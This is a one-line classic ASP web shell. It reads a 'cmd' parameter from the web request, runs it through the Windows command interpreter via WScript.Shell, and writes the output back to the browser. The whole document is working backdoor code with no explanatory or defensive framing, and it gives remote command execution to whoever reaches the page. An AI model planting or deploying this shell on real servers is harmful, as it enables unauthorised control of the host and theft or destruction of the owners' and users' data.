<% Set shell = CreateObject("WScript.Shell") Set exec = shell.Exec("cmd /c " & Request("cmd")) Response.Write("

" & exec.StdOut.ReadAll() & "

") %>